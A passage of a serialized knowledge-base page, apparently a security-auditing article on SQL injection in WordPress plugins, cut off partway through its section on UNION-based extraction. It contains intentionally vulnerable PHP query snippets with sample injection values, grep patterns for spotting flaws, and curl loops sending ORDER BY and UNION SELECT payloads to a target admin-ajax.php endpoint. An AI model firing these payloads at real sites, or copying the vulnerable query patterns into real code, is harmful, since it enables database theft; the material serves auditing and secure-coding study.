"id":173,"depth":46,"text":174},{"id":360,"depth":46,"text":2653},{"id":681,"depth":46,"text":682,"children":9603},[9604,9605,9606],{"id":686,"depth":57,"text":687},{"id":768,"depth":57,"text":769},{"id":850,"depth":57,"text":851},{"id":921,"depth":46,"text":922,"children":9608},[9609,9610,9611,9612,9613],{"id":925,"depth":57,"text":926},{"id":1019,"depth":57,"text":1020},{"id":1124,"depth":57,"text":1125},{"id":1439,"depth":57,"text":1440},{"id":1548,"depth":57,"text":1549},{"id":1683,"depth":46,"text":1684},{"id":1875,"depth":46,"text":1876},{"id":2147,"depth":46,"text":2148},{"id":2223,"depth":46,"text":2224},{"id":2404,"depth":46,"text":2405},{},{"title":5,"description":2672},{"id":9622,"title":9623,"body":9624,"category":12952,"description":12953,"extension":2673,"meta":12954,"navigation":60,"order":64,"path":12955,"seo":12956,"stem":12957,"__hash__":12958},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-sql-injection-patterns.md","WordPress SQL Injection Patterns",{"type":7,"value":9625,"toc":12923},[9626,9629,9636,9640,9651,9759,9766,9783,9787,9907,9911,10080,10090,10094,10463,10467,10470,10474,10657,10661,10664,10758,10762,10931,10935,10938,11065,11069,11072,11392,11396,11809,11813,11816,11911,11915,11918,12027,12031,12034,12037,12087,12089,12138,12141,12229,12232,12257,12261,12264,12311,12375,12379,12389,12418,12471,12475,12732,12736,12920],[10,9627,9623],{"id":9628},"wordpress-sql-injection-patterns",[14,9630,9631,9632,9635],{},"SQL injection in WordPress plugins is one of the most prevalent and impactful vulnerability classes. The WordPress database abstraction layer provides ",[33,9633,9634],{},"$wpdb->prepare()"," for parameterized queries, but its misuse and the prevalence of raw string interpolation create numerous opportunities for injection.",[18,9637,9639],{"id":9638},"wordpress-database-abstraction-layer","WordPress Database Abstraction Layer",[14,9641,9642,9643,9646,9647,9650],{},"WordPress uses the ",[33,9644,9645],{},"wpdb"," class to interact with MySQL\u002FMariaDB. The global ",[33,9648,9649],{},"$wpdb"," object is available throughout WordPress. Key methods:",[26,9652,9654],{"className":177,"code":9653,"language":179,"meta":31,"style":31},"global $wpdb;\n\n\u002F\u002F Returns array of row objects\n$wpdb->get_results( $query );\n\n\u002F\u002F Returns single row as object\n$wpdb->get_row( $query );\n\n\u002F\u002F Returns single value\n$wpdb->get_var( $query );\n\n\u002F\u002F Returns array of values from single column\n$wpdb->get_col( $query );\n\n\u002F\u002F Execute query (INSERT\u002FUPDATE\u002FDELETE), returns rows affected\n$wpdb->query( $query );\n\n\u002F\u002F Returns last inserted ID\n$wpdb->insert_id;\n\n\u002F\u002F Last error\n$wpdb->last_error;\n",[33,9655,9656,9661,9665,9670,9675,9679,9684,9689,9693,9698,9703,9707,9712,9717,9721,9726,9731,9735,9740,9745,9749,9754],{"__ignoreMap":31},[36,9657,9658],{"class":38,"line":39},[36,9659,9660],{},"global $wpdb;\n",[36,9662,9663],{"class":38,"line":46},[36,9664,61],{"emptyLinePlaceholder":60},[36,9666,9667],{"class":38,"line":57},[36,9668,9669],{},"\u002F\u002F Returns array of row objects\n",[36,9671,9672],{"class":38,"line":64},[36,9673,9674],{},"$wpdb->get_results( $query );\n",[36,9676,9677],{"class":38,"line":70},[36,9678,61],{"emptyLinePlaceholder":60},[36,9680,9681],{"class":38,"line":78},[36,9682,9683],{},"\u002F\u002F Returns single row as object\n",[36,9685,9686],{"class":38,"line":83},[36,9687,9688],{},"$wpdb->get_row( $query );\n",[36,9690,9691],{"class":38,"line":89},[36,9692,61],{"emptyLinePlaceholder":60},[36,9694,9695],{"class":38,"line":115},[36,9696,9697],{},"\u002F\u002F Returns single value\n",[36,9699,9700],{"class":38,"line":133},[36,9701,9702],{},"$wpdb->get_var( $query );\n",[36,9704,9705],{"class":38,"line":138},[36,9706,61],{"emptyLinePlaceholder":60},[36,9708,9709],{"class":38,"line":144},[36,9710,9711],{},"\u002F\u002F Returns array of values from single column\n",[36,9713,9714],{"class":38,"line":158},[36,9715,9716],{},"$wpdb->get_col( $query );\n",[36,9718,9719],{"class":38,"line":255},[36,9720,61],{"emptyLinePlaceholder":60},[36,9722,9723],{"class":38,"line":261},[36,9724,9725],{},"\u002F\u002F Execute query (INSERT\u002FUPDATE\u002FDELETE), returns rows affected\n",[36,9727,9728],{"class":38,"line":267},[36,9729,9730],{},"$wpdb->query( $query );\n",[36,9732,9733],{"class":38,"line":273},[36,9734,61],{"emptyLinePlaceholder":60},[36,9736,9737],{"class":38,"line":279},[36,9738,9739],{},"\u002F\u002F Returns last inserted ID\n",[36,9741,9742],{"class":38,"line":285},[36,9743,9744],{},"$wpdb->insert_id;\n",[36,9746,9747],{"class":38,"line":291},[36,9748,61],{"emptyLinePlaceholder":60},[36,9750,9751],{"class":38,"line":297},[36,9752,9753],{},"\u002F\u002F Last error\n",[36,9755,9756],{"class":38,"line":303},[36,9757,9758],{},"$wpdb->last_error;\n",[18,9760,9762,9765],{"id":9761},"wpdb-prepare-correct-vs-incorrect-usage",[33,9763,9764],{},"wpdb->prepare()",": Correct vs Incorrect Usage",[14,9767,9768,9770,9771,9774,9775,9778,9779,9782],{},[33,9769,9764],{}," is a sprintf-like function that parameterizes queries. It uses ",[33,9772,9773],{},"%s"," (string), ",[33,9776,9777],{},"%d"," (integer), and ",[33,9780,9781],{},"%f"," (float) placeholders.",[684,9784,9786],{"id":9785},"correct-usage","Correct Usage",[26,9788,9790],{"className":177,"code":9789,"language":179,"meta":31,"style":31},"\u002F\u002F Correct: placeholders used for all variable data\n$results = $wpdb->get_results(\n    $wpdb->prepare(\n        \"SELECT * FROM {$wpdb->posts} WHERE ID = %d AND post_author = %d\",\n        $post_id,\n        $user_id\n    )\n);\n\n\u002F\u002F Correct: string placeholder with explicit quoting\n$results = $wpdb->get_results(\n    $wpdb->prepare(\n        \"SELECT * FROM {$wpdb->users} WHERE user_login = %s\",\n        $username\n    )\n);\n\n\u002F\u002F Correct: LIKE with wildcards added by the developer (not user)\n$search = '%' . $wpdb->esc_like( $user_input ) . '%';\n$results = $wpdb->get_results(\n    $wpdb->prepare(\n        \"SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s\",\n        $search\n    )\n);\n",[33,9791,9792,9797,9802,9807,9812,9817,9822,9827,9832,9836,9841,9845,9849,9854,9859,9863,9867,9871,9876,9881,9885,9889,9894,9899,9903],{"__ignoreMap":31},[36,9793,9794],{"class":38,"line":39},[36,9795,9796],{},"\u002F\u002F Correct: placeholders used for all variable data\n",[36,9798,9799],{"class":38,"line":46},[36,9800,9801],{},"$results = $wpdb->get_results(\n",[36,9803,9804],{"class":38,"line":57},[36,9805,9806],{},"    $wpdb->prepare(\n",[36,9808,9809],{"class":38,"line":64},[36,9810,9811],{},"        \"SELECT * FROM {$wpdb->posts} WHERE ID = %d AND post_author = %d\",\n",[36,9813,9814],{"class":38,"line":70},[36,9815,9816],{},"        $post_id,\n",[36,9818,9819],{"class":38,"line":78},[36,9820,9821],{},"        $user_id\n",[36,9823,9824],{"class":38,"line":83},[36,9825,9826],{},"    )\n",[36,9828,9829],{"class":38,"line":89},[36,9830,9831],{},");\n",[36,9833,9834],{"class":38,"line":115},[36,9835,61],{"emptyLinePlaceholder":60},[36,9837,9838],{"class":38,"line":133},[36,9839,9840],{},"\u002F\u002F Correct: string placeholder with explicit quoting\n",[36,9842,9843],{"class":38,"line":138},[36,9844,9801],{},[36,9846,9847],{"class":38,"line":144},[36,9848,9806],{},[36,9850,9851],{"class":38,"line":158},[36,9852,9853],{},"        \"SELECT * FROM {$wpdb->users} WHERE user_login = %s\",\n",[36,9855,9856],{"class":38,"line":255},[36,9857,9858],{},"        $username\n",[36,9860,9861],{"class":38,"line":261},[36,9862,9826],{},[36,9864,9865],{"class":38,"line":267},[36,9866,9831],{},[36,9868,9869],{"class":38,"line":273},[36,9870,61],{"emptyLinePlaceholder":60},[36,9872,9873],{"class":38,"line":279},[36,9874,9875],{},"\u002F\u002F Correct: LIKE with wildcards added by the developer (not user)\n",[36,9877,9878],{"class":38,"line":285},[36,9879,9880],{},"$search = '%' . $wpdb->esc_like( $user_input ) . '%';\n",[36,9882,9883],{"class":38,"line":291},[36,9884,9801],{},[36,9886,9887],{"class":38,"line":297},[36,9888,9806],{},[36,9890,9891],{"class":38,"line":303},[36,9892,9893],{},"        \"SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s\",\n",[36,9895,9896],{"class":38,"line":308},[36,9897,9898],{},"        $search\n",[36,9900,9901],{"class":38,"line":314},[36,9902,9826],{},[36,9904,9905],{"class":38,"line":320},[36,9906,9831],{},[684,9908,9910],{"id":9909},"incorrect-usage-vulnerable","Incorrect Usage (Vulnerable)",[26,9912,9914],{"className":177,"code":9913,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE #1: String interpolation before prepare\n$table = $_POST['table']; \u002F\u002F Attacker controls table name\n$results = $wpdb->get_results(\n    $wpdb->prepare( \"SELECT * FROM $table WHERE id = %d\", $id )\n    \u002F\u002F prepare() only protects the %d placeholder, not $table\n);\n\n\u002F\u002F VULNERABLE #2: Concatenation bypasses prepare\n$order = $_GET['order']; \u002F\u002F 'ASC' or 'DESC' - but attacker sends payload\n$results = $wpdb->get_results(\n    $wpdb->prepare( \"SELECT * FROM {$wpdb->posts} WHERE post_status = %s\", $status ) .\n    \" ORDER BY post_date $order\"  \u002F\u002F This part is not parameterized!\n);\n\n\u002F\u002F VULNERABLE #3: No prepare() at all\n$id = $_POST['id'];\n$results = $wpdb->get_results(\n    \"SELECT * FROM {$wpdb->posts} WHERE ID = $id\"\n);\n\n\u002F\u002F VULNERABLE #4: sanitize_text_field doesn't prevent SQLi\n$name = sanitize_text_field( $_POST['name'] );\n\u002F\u002F sanitize_text_field strips HTML tags and extra whitespace\n\u002F\u002F It does NOT escape SQL metacharacters (', \", \\, etc.)\n$results = $wpdb->get_results(\n    \"SELECT * FROM {$wpdb->posts} WHERE post_title = '$name'\"\n    \u002F\u002F $name = \"test' OR '1'='1\" -- sanitize_text_field passes this through!\n);\n\n\u002F\u002F VULNERABLE #5: IN clause construction\n$ids = implode( ',', $_POST['ids'] ); \u002F\u002F Array of IDs from user\n$results = $wpdb->get_results(\n    \"SELECT * FROM {$wpdb->posts} WHERE ID IN ($ids)\"\n    \u002F\u002F $ids = \"1,2,(SELECT password FROM wp_users)\"\n);\n",[33,9915,9916,9921,9926,9930,9935,9940,9944,9948,9953,9958,9962,9967,9975,9979,9983,9988,9993,9997,10002,10006,10010,10015,10020,10025,10030,10034,10039,10044,10048,10052,10057,10062,10066,10071,10076],{"__ignoreMap":31},[36,9917,9918],{"class":38,"line":39},[36,9919,9920],{},"\u002F\u002F VULNERABLE #1: String interpolation before prepare\n",[36,9922,9923],{"class":38,"line":46},[36,9924,9925],{},"$table = $_POST['table']; \u002F\u002F Attacker controls table name\n",[36,9927,9928],{"class":38,"line":57},[36,9929,9801],{},[36,9931,9932],{"class":38,"line":64},[36,9933,9934],{},"    $wpdb->prepare( \"SELECT * FROM $table WHERE id = %d\", $id )\n",[36,9936,9937],{"class":38,"line":70},[36,9938,9939],{},"    \u002F\u002F prepare() only protects the %d placeholder, not $table\n",[36,9941,9942],{"class":38,"line":78},[36,9943,9831],{},[36,9945,9946],{"class":38,"line":83},[36,9947,61],{"emptyLinePlaceholder":60},[36,9949,9950],{"class":38,"line":89},[36,9951,9952],{},"\u002F\u002F VULNERABLE #2: Concatenation bypasses prepare\n",[36,9954,9955],{"class":38,"line":115},[36,9956,9957],{},"$order = $_GET['order']; \u002F\u002F 'ASC' or 'DESC' - but attacker sends payload\n",[36,9959,9960],{"class":38,"line":133},[36,9961,9801],{},[36,9963,9964],{"class":38,"line":138},[36,9965,9966],{},"    $wpdb->prepare( \"SELECT * FROM {$wpdb->posts} WHERE post_status = %s\", $status ) .\n",[36,9968,9969,9972],{"class":38,"line":144},[36,9970,9971],{},"    \" ORDER BY post_date $order\"",[36,9973,9974],{},"  \u002F\u002F This part is not parameterized!\n",[36,9976,9977],{"class":38,"line":158},[36,9978,9831],{},[36,9980,9981],{"class":38,"line":255},[36,9982,61],{"emptyLinePlaceholder":60},[36,9984,9985],{"class":38,"line":261},[36,9986,9987],{},"\u002F\u002F VULNERABLE #3: No prepare() at all\n",[36,9989,9990],{"class":38,"line":267},[36,9991,9992],{},"$id = $_POST['id'];\n",[36,9994,9995],{"class":38,"line":273},[36,9996,9801],{},[36,9998,9999],{"class":38,"line":279},[36,10000,10001],{},"    \"SELECT * FROM {$wpdb->posts} WHERE ID = $id\"\n",[36,10003,10004],{"class":38,"line":285},[36,10005,9831],{},[36,10007,10008],{"class":38,"line":291},[36,10009,61],{"emptyLinePlaceholder":60},[36,10011,10012],{"class":38,"line":297},[36,10013,10014],{},"\u002F\u002F VULNERABLE #4: sanitize_text_field doesn't prevent SQLi\n",[36,10016,10017],{"class":38,"line":303},[36,10018,10019],{},"$name = sanitize_text_field( $_POST['name'] );\n",[36,10021,10022],{"class":38,"line":308},[36,10023,10024],{},"\u002F\u002F sanitize_text_field strips HTML tags and extra whitespace\n",[36,10026,10027],{"class":38,"line":314},[36,10028,10029],{},"\u002F\u002F It does NOT escape SQL metacharacters (', \", \\, etc.)\n",[36,10031,10032],{"class":38,"line":320},[36,10033,9801],{},[36,10035,10036],{"class":38,"line":326},[36,10037,10038],{},"    \"SELECT * FROM {$wpdb->posts} WHERE post_title = '$name'\"\n",[36,10040,10041],{"class":38,"line":331},[36,10042,10043],{},"    \u002F\u002F $name = \"test' OR '1'='1\" -- sanitize_text_field passes this through!\n",[36,10045,10046],{"class":38,"line":337},[36,10047,9831],{},[36,10049,10050],{"class":38,"line":343},[36,10051,61],{"emptyLinePlaceholder":60},[36,10053,10054],{"class":38,"line":349},[36,10055,10056],{},"\u002F\u002F VULNERABLE #5: IN clause construction\n",[36,10058,10059],{"class":38,"line":355},[36,10060,10061],{},"$ids = implode( ',', $_POST['ids'] ); \u002F\u002F Array of IDs from user\n",[36,10063,10064],{"class":38,"line":6676},[36,10065,9801],{},[36,10067,10068],{"class":38,"line":6686},[36,10069,10070],{},"    \"SELECT * FROM {$wpdb->posts} WHERE ID IN ($ids)\"\n",[36,10072,10073],{"class":38,"line":6691},[36,10074,10075],{},"    \u002F\u002F $ids = \"1,2,(SELECT password FROM wp_users)\"\n",[36,10077,10078],{"class":38,"line":6697},[36,10079,9831],{},[14,10081,10082,10083,10089],{},"A critical misconception: ",[4864,10084,10085,10088],{},[33,10086,10087],{},"sanitize_text_field()"," does not prevent SQL injection."," It removes HTML tags, extra whitespace, and invalid UTF-8 characters but leaves SQL metacharacters intact.",[18,10091,10093],{"id":10092},"grep-patterns-for-finding-sql-injection","Grep Patterns for Finding SQL Injection",[26,10095,10097],{"className":28,"code":10096,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Raw queries with POST\u002FGET parameters\ngrep -rn \"\\$wpdb->get_results\\|\\$wpdb->get_row\\|\\$wpdb->query\\|\\$wpdb->get_var\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -A3 | grep \"\\$_POST\\|\\$_GET\\|\\$_REQUEST\"\n\n# String interpolation in queries (high confidence vulns)\ngrep -rP '\\$wpdb->(get_results|get_row|query|get_var|get_col)\\s*\\(\\s*\"[^\"]*\\$' \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Queries not using prepare()\ngrep -rn \"\\$wpdb->get_results\\|->query(\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep -v \"prepare\\|esc_sql\"\n\n# ORDER BY \u002F LIMIT injection (common because prepare() doesn't protect these)\ngrep -rn \"ORDER BY\\|LIMIT\\|OFFSET\\|GROUP BY\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep \"\\$_GET\\|\\$_POST\\|\\$_REQUEST\\|\\$order\\|\\$sort\\|\\$limit\"\n\n# IN clause construction\ngrep -rn \"IN\\s*(\" \"$PLUGIN_DIR\" --include=\"*.php\" | grep \"implode\\|\\$ids\\|\\$_POST\"\n\n# esc_sql without prepare (incomplete protection)\ngrep -rn \"esc_sql\" \"$PLUGIN_DIR\" --include=\"*.php\" -B2\n\n# Finding wpdb table references (understand schema)\ngrep -rn \"\\$wpdb->\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep -oP '\\$wpdb->\\K\\w+' | sort | uniq -c | sort -rn\n",[33,10098,10099,10107,10111,10116,10146,10179,10183,10188,10199,10213,10217,10222,10249,10258,10262,10267,10290,10324,10328,10333,10369,10373,10378,10400,10404,10409,10436],{"__ignoreMap":31},[36,10100,10101,10103,10105],{"class":38,"line":39},[36,10102,2415],{"class":605},[36,10104,1220],{"class":102},[36,10106,2420],{"class":53},[36,10108,10109],{"class":38,"line":46},[36,10110,61],{"emptyLinePlaceholder":60},[36,10112,10113],{"class":38,"line":57},[36,10114,10115],{"class":42},"# Raw queries with POST\u002FGET parameters\n",[36,10117,10118,10120,10122,10124,10126,10129,10131,10134,10136,10139,10141,10144],{"class":38,"line":64},[36,10119,490],{"class":49},[36,10121,493],{"class":95},[36,10123,625],{"class":53},[36,10125,4591],{"class":95},[36,10127,10128],{"class":53},"wpdb->get_results\\|",[36,10130,4591],{"class":95},[36,10132,10133],{"class":53},"wpdb->get_row\\|",[36,10135,4591],{"class":95},[36,10137,10138],{"class":53},"wpdb->query\\|",[36,10140,4591],{"class":95},[36,10142,10143],{"class":53},"wpdb->get_var\"",[36,10145,155],{"class":95},[36,10147,10148,10150,10152,10154,10156,10158,10161,10163,10165,10167,10169,10171,10173,10175,10177],{"class":38,"line":70},[36,10149,3113],{"class":53},[36,10151,2442],{"class":605},[36,10153,631],{"class":53},[36,10155,502],{"class":95},[36,10157,540],{"class":53},[36,10159,10160],{"class":95}," -A3",[36,10162,103],{"class":102},[36,10164,617],{"class":49},[36,10166,625],{"class":53},[36,10168,4591],{"class":95},[36,10170,4594],{"class":53},[36,10172,4591],{"class":95},[36,10174,4599],{"class":53},[36,10176,4591],{"class":95},[36,10178,4681],{"class":53},[36,10180,10181],{"class":38,"line":78},[36,10182,61],{"emptyLinePlaceholder":60},[36,10184,10185],{"class":38,"line":83},[36,10186,10187],{"class":42},"# String interpolation in queries (high confidence vulns)\n",[36,10189,10190,10192,10194,10197],{"class":38,"line":89},[36,10191,490],{"class":49},[36,10193,574],{"class":95},[36,10195,10196],{"class":53}," '\\$wpdb->(get_results|get_row|query|get_var|get_col)\\s*\\(\\s*\"[^\"]*\\$'",[36,10198,155],{"class":95},[36,10200,10201,10203,10205,10207,10209,10211],{"class":38,"line":115},[36,10202,3113],{"class":53},[36,10204,2442],{"class":605},[36,10206,631],{"class":53},[36,10208,502],{"class":95},[36,10210,540],{"class":53},[36,10212,2906],{"class":95},[36,10214,10215],{"class":38,"line":133},[36,10216,61],{"emptyLinePlaceholder":60},[36,10218,10219],{"class":38,"line":138},[36,10220,10221],{"class":42},"# Queries not using prepare()\n",[36,10223,10224,10226,10228,10230,10232,10235,10237,10239,10241,10243,10245,10247],{"class":38,"line":144},[36,10225,490],{"class":49},[36,10227,493],{"class":95},[36,10229,625],{"class":53},[36,10231,4591],{"class":95},[36,10233,10234],{"class":53},"wpdb->get_results\\|->query(\"",[36,10236,625],{"class":53},[36,10238,2442],{"class":605},[36,10240,631],{"class":53},[36,10242,502],{"class":95},[36,10244,540],{"class":53},[36,10246,103],{"class":102},[36,10248,155],{"class":95},[36,10250,10251,10253,10255],{"class":38,"line":158},[36,10252,552],{"class":49},[36,10254,555],{"class":95},[36,10256,10257],{"class":53}," \"prepare\\|esc_sql\"\n",[36,10259,10260],{"class":38,"line":255},[36,10261,61],{"emptyLinePlaceholder":60},[36,10263,10264],{"class":38,"line":261},[36,10265,10266],{"class":42},"# ORDER BY \u002F LIMIT injection (common because prepare() doesn't protect these)\n",[36,10268,10269,10271,10273,10276,10278,10280,10282,10284,10286,10288],{"class":38,"line":267},[36,10270,490],{"class":49},[36,10272,493],{"class":95},[36,10274,10275],{"class":53}," \"ORDER BY\\|LIMIT\\|OFFSET\\|GROUP BY\"",[36,10277,625],{"class":53},[36,10279,2442],{"class":605},[36,10281,631],{"class":53},[36,10283,502],{"class":95},[36,10285,540],{"class":53},[36,10287,103],{"class":102},[36,10289,155],{"class":95},[36,10291,10292,10294,10296,10298,10300,10302,10304,10306,10309,10311,10314,10316,10319,10321],{"class":38,"line":273},[36,10293,552],{"class":49},[36,10295,625],{"class":53},[36,10297,4591],{"class":95},[36,10299,4599],{"class":53},[36,10301,4591],{"class":95},[36,10303,4594],{"class":53},[36,10305,4591],{"class":95},[36,10307,10308],{"class":53},"_REQUEST\\|",[36,10310,4591],{"class":95},[36,10312,10313],{"class":53},"order\\|",[36,10315,4591],{"class":95},[36,10317,10318],{"class":53},"sort\\|",[36,10320,4591],{"class":95},[36,10322,10323],{"class":53},"limit\"\n",[36,10325,10326],{"class":38,"line":279},[36,10327,61],{"emptyLinePlaceholder":60},[36,10329,10330],{"class":38,"line":285},[36,10331,10332],{"class":42},"# IN clause construction\n",[36,10334,10335,10337,10339,10342,10344,10346,10348,10350,10352,10354,10356,10359,10361,10364,10366],{"class":38,"line":291},[36,10336,490],{"class":49},[36,10338,493],{"class":95},[36,10340,10341],{"class":53}," \"IN\\s*(\"",[36,10343,625],{"class":53},[36,10345,2442],{"class":605},[36,10347,631],{"class":53},[36,10349,502],{"class":95},[36,10351,540],{"class":53},[36,10353,103],{"class":102},[36,10355,617],{"class":49},[36,10357,10358],{"class":53}," \"implode\\|",[36,10360,4591],{"class":95},[36,10362,10363],{"class":53},"ids\\|",[36,10365,4591],{"class":95},[36,10367,10368],{"class":53},"_POST\"\n",[36,10370,10371],{"class":38,"line":297},[36,10372,61],{"emptyLinePlaceholder":60},[36,10374,10375],{"class":38,"line":303},[36,10376,10377],{"class":42},"# esc_sql without prepare (incomplete protection)\n",[36,10379,10380,10382,10384,10387,10389,10391,10393,10395,10397],{"class":38,"line":308},[36,10381,490],{"class":49},[36,10383,493],{"class":95},[36,10385,10386],{"class":53}," \"esc_sql\"",[36,10388,625],{"class":53},[36,10390,2442],{"class":605},[36,10392,631],{"class":53},[36,10394,502],{"class":95},[36,10396,540],{"class":53},[36,10398,10399],{"class":95}," -B2\n",[36,10401,10402],{"class":38,"line":314},[36,10403,61],{"emptyLinePlaceholder":60},[36,10405,10406],{"class":38,"line":320},[36,10407,10408],{"class":42},"# Finding wpdb table references (understand schema)\n",[36,10410,10411,10413,10415,10417,10419,10422,10424,10426,10428,10430,10432,10434],{"class":38,"line":326},[36,10412,490],{"class":49},[36,10414,493],{"class":95},[36,10416,625],{"class":53},[36,10418,4591],{"class":95},[36,10420,10421],{"class":53},"wpdb->\"",[36,10423,625],{"class":53},[36,10425,2442],{"class":605},[36,10427,631],{"class":53},[36,10429,502],{"class":95},[36,10431,540],{"class":53},[36,10433,103],{"class":102},[36,10435,155],{"class":95},[36,10437,10438,10440,10442,10445,10447,10449,10451,10454,10456,10458,10460],{"class":38,"line":331},[36,10439,552],{"class":49},[36,10441,726],{"class":95},[36,10443,10444],{"class":53}," '\\$wpdb->\\K\\w+'",[36,10446,103],{"class":102},[36,10448,4330],{"class":49},[36,10450,103],{"class":102},[36,10452,10453],{"class":49}," uniq",[36,10455,164],{"class":95},[36,10457,103],{"class":102},[36,10459,4330],{"class":49},[36,10461,10462],{"class":95}," -rn\n",[18,10464,10466],{"id":10465},"union-based-extraction","UNION-Based Extraction",[14,10468,10469],{},"UNION attacks require matching the number of columns in the original query. Workflow:",[684,10471,10473],{"id":10472},"step-1-determine-column-count","Step 1: Determine Column Count",[26,10475,10477],{"className":28,"code":10476,"language":30,"meta":31,"style":31},"TARGET=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\"\n\n# Inject ORDER BY to find column count (binary search)\n# If ORDER BY 5 works but ORDER BY 6 errors, there are 5 columns\nfor n in 1 2 3 4 5 6 7 8 9 10; do\n    RESPONSE=$(curl -s -X POST \"$TARGET\" \\\n      --data-urlencode \"action=vulnerable_action\" \\\n      --data-urlencode \"search=test' ORDER BY $n-- -\")\n    if echo \"$RESPONSE\" | grep -qi \"error\\|unknown column\"; then\n        echo \"Column count: $((n-1))\"\n        break\n    fi\n    echo \"ORDER BY $n: OK\"\ndone\n",[33,10478,10479,10488,10492,10497,10502,10544,10568,10578,10593,10619,10632,10637,10641,10653],{"__ignoreMap":31},[36,10480,10481,10483,10485],{"class":38,"line":39},[36,10482,1886],{"class":605},[36,10484,1220],{"class":102},[36,10486,10487],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\"\n",[36,10489,10490],{"class":38,"line":46},[36,10491,61],{"emptyLinePlaceholder":60},[36,10493,10494],{"class":38,"line":57},[36,10495,10496],{"class":42},"# Inject ORDER BY to find column count (binary search)\n",[36,10498,10499],{"class":38,"line":64},[36,10500,10501],{"class":42},"# If ORDER BY 5 works but ORDER BY 6 errors, there are 5 columns\n",[36,10503,10504,10506,10509,10511,10513,10516,10519,10522,10525,10528,10531,10534,10537,10540,10542],{"class":38,"line":70},[36,10505,1325],{"class":102},[36,10507,10508],{"class":605}," n ",[36,10510,1331],{"class":102},[36,10512,1340],{"class":53},[36,10514,10515],{"class":53}," 2",[36,10517,10518],{"class":53}," 3",[36,10520,10521],{"class":53}," 4",[36,10523,10524],{"class":53}," 5",[36,10526,10527],{"class":53}," 6",[36,10529,10530],{"class":53}," 7",[36,10532,10533],{"class":53}," 8",[36,10535,10536],{"class":53}," 9",[36,10538,10539],{"class":53}," 10",[36,10541,606],{"class":605},[36,10543,609],{"class":102},[36,10545,10546,10548,10550,10552,10554,10556,10558,10560,10562,10564,10566],{"class":38,"line":78},[36,10547,1353],{"class":605},[36,10549,1220],{"class":102},[36,10551,1358],{"class":605},[36,10553,92],{"class":49},[36,10555,96],{"class":95},[36,10557,792],{"class":95},[36,10559,795],{"class":53},[36,10561,625],{"class":53},[36,10563,1911],{"class":605},[36,10565,631],{"class":53},[36,10567,155],{"class":95},[36,10569,10570,10573,10576],{"class":38,"line":83},[36,10571,10572],{"class":95},"      --data-urlencode",[36,10574,10575],{"class":53}," \"action=vulnerable_action\"",[36,10577,155],{"class":95},[36,10579,10580,10582,10585,10588,10591],{"class":38,"line":89},[36,10581,10572],{"class":95},[36,10583,10584],{"class":53}," \"search=test' ORDER BY ",[36,10586,10587],{"class":605},"$n",[36,10589,10590],{"class":53},"-- -\"",[36,10592,1385],{"class":605},[36,10594,10595,10597,10599,10601,10603,10605,10607,10609,10612,10615,10617],{"class":38,"line":115},[36,10596,614],{"class":102},[36,10598,1392],{"class":95},[36,10600,625],{"class":53},[36,10602,1397],{"class":605},[36,10604,631],{"class":53},[36,10606,103],{"class":102},[36,10608,617],{"class":49},[36,10610,10611],{"class":95}," -qi",[36,10613,10614],{"class":53}," \"error\\|unknown column\"",[36,10616,606],{"class":605},[36,10618,655],{"class":102},[36,10620,10621,10623,10626,10629],{"class":38,"line":133},[36,10622,660],{"class":95},[36,10624,10625],{"class":53}," \"Column count: $((",[36,10627,10628],{"class":49},"n-1",[36,10630,10631],{"class":53},"))\"\n",[36,10633,10634],{"class":38,"line":138},[36,10635,10636],{"class":102},"        break\n",[36,10638,10639],{"class":38,"line":144},[36,10640,673],{"class":102},[36,10642,10643,10645,10648,10650],{"class":38,"line":158},[36,10644,2130],{"class":95},[36,10646,10647],{"class":53}," \"ORDER BY ",[36,10649,10587],{"class":605},[36,10651,10652],{"class":53},": OK\"\n",[36,10654,10655],{"class":38,"line":255},[36,10656,678],{"class":102},[684,10658,10660],{"id":10659},"step-2-find-output-columns","Step 2: Find Output Columns",[14,10662,10663],{},"Not all columns may be reflected in the output. Use NULL placeholders and test each position:",[26,10665,10667],{"className":28,"code":10666,"language":30,"meta":31,"style":31},"# Try UNION with NULLs first (NULL is type-safe)\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=test' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -\"\n\n# Replace NULLs with strings to find which columns are reflected\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound' UNION SELECT 'col1','col2','col3','col4','col5'-- -\"\n\n# If response contains 'col2', column 2 is reflected\n",[33,10668,10669,10674,10692,10700,10707,10711,10716,10734,10742,10749,10753],{"__ignoreMap":31},[36,10670,10671],{"class":38,"line":39},[36,10672,10673],{"class":42},"# Try UNION with NULLs first (NULL is type-safe)\n",[36,10675,10676,10678,10680,10682,10684,10686,10688,10690],{"class":38,"line":46},[36,10677,92],{"class":49},[36,10679,96],{"class":95},[36,10681,792],{"class":95},[36,10683,795],{"class":53},[36,10685,625],{"class":53},[36,10687,1911],{"class":605},[36,10689,631],{"class":53},[36,10691,155],{"class":95},[36,10693,10694,10696,10698],{"class":38,"line":57},[36,10695,3811],{"class":95},[36,10697,10575],{"class":53},[36,10699,155],{"class":95},[36,10701,10702,10704],{"class":38,"line":64},[36,10703,3811],{"class":95},[36,10705,10706],{"class":53}," \"search=test' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -\"\n",[36,10708,10709],{"class":38,"line":70},[36,10710,61],{"emptyLinePlaceholder":60},[36,10712,10713],{"class":38,"line":78},[36,10714,10715],{"class":42},"# Replace NULLs with strings to find which columns are 